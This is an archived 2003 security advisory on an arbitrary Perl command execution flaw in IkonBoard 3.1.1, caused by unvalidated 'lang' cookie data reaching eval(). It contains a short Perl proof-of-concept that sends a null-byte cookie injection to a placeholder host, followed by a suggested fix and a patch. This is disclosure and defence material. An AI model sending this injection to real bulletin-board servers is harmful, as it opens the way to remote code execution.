6th Apr 2003 [SBWID-6111]
COMMAND
IkonBoard arbitrary command execution
SYSTEMS AFFECTED
IkonBoard v3.1.1 (and probably earlier)
PROBLEM
In Nick Cleaton [[email protected]] advisory :
IkonBoard (http://www.ikonboard.com/) is a comprehensive web bulletin
board system, implemented as a Perl/CGI script.
There is a flaw in the Perl code that cleans up user input before
interpolating it into a string which gets passed to Perl's eval()
function, allowing an attacker to evaluate arbitrary Perl and hence run
arbitrary commands.
The flaw is in the code that cleans up the value of the 'lang' cookie,
in sub LoadLanguage in Sources/Lib/FUNC.pm:
# Make sure the cookie data is legal
if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
}
If the cookie contains illegal characters then the s/// operation fails
to match and the bad cookie value is left in place, so this code fails
to do any validation.
The cookie value is then interpolated into a directory name, which is
in turn interpolated into a string passed to the eval function. There
is a check that the directory exists, but use of the poisoned null
technique allows that check to be bypassed.
Exploit
=======
The following proof of concept exploit demonstrates that the problem is
exploitable by causing a syntax error in the eval(). The Perl syntax
error message in the returned HTML proves that the exploit has been
able to inject Perl source code into the eval.
I have refrained from publishing a more functional exploit at this
time, to delay attacks against IkonBoard installations. Note however
that it would take only a few minutes for a reasonably knowledgeable
attacker to write an exploit that runs arbitrary Perl.
----- cut here -----
#!/usr/bin/perl -w
use strict;
my $HOST = 'www.example.domain';
my $PATH = '/cgi-bin/ikonboard.cgi';
use IO::Socket;
my $sock = IO::Socket::INET->new("$HOST:80") or die "connect: $!";
$sock->print(<<END) or die "write: $!";
GET $PATH HTTP/1.1
Host: $HOST
Cookie: lang=%2E%00%22
Connection: close
END
print while <$sock>;
----- cut here -----
SOLUTION
Suggested Fix
=============
Either apply the attached patch to Sources/Lib/FUNC.pm on the web
server, or make the following changes by hand:
At line 104 of Sources/Lib/FUNC.pm is the code:
$sid =~ s/^(\d+)$/$1/;
... change it to:
$sid =~ s/^(\d+)$/$1/ or die 'bad sid cookie value';
At line 191 of Sources/Lib/FUNC.pm is the code:
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
... change it to:
$iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~
s/^([\d\w]+)$/$1/ or die 'bad lang cookie value';
--qMm9M+Fa2AknHoGS
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="patch.txt"
diff -Nurd Sources.orig/Lib/FUNC.pm Sources/Lib/FUNC.pm
--- Sources.orig/Lib/FUNC.pm Sun Jul 14 00:47:08 2002
+++ Sources/Lib/FUNC.pm Mon Feb 3 09:39:48 2003
@@ -101,7 +101,7 @@
my $sid = $iB::IN{'sid'} || $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'skin'};
# Make sure it only contains a number
- $sid =~ s/^(\d+)$/$1/;
+ $sid =~ s/^(\d+)$/$1/ or die "invalid sid value";
# Make sure we have a default skin set
@@ -188,7 +188,8 @@
# Make sure the cookie data is legal
if ($iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}) {
- $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;
+ $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/
+ or die "invalid lang cookie value";
}
$default = $iB::COOKIES->{$iB::INFO->{'COOKIE_ID'}.'lang'}
--qMm9M+Fa2AknHoGS--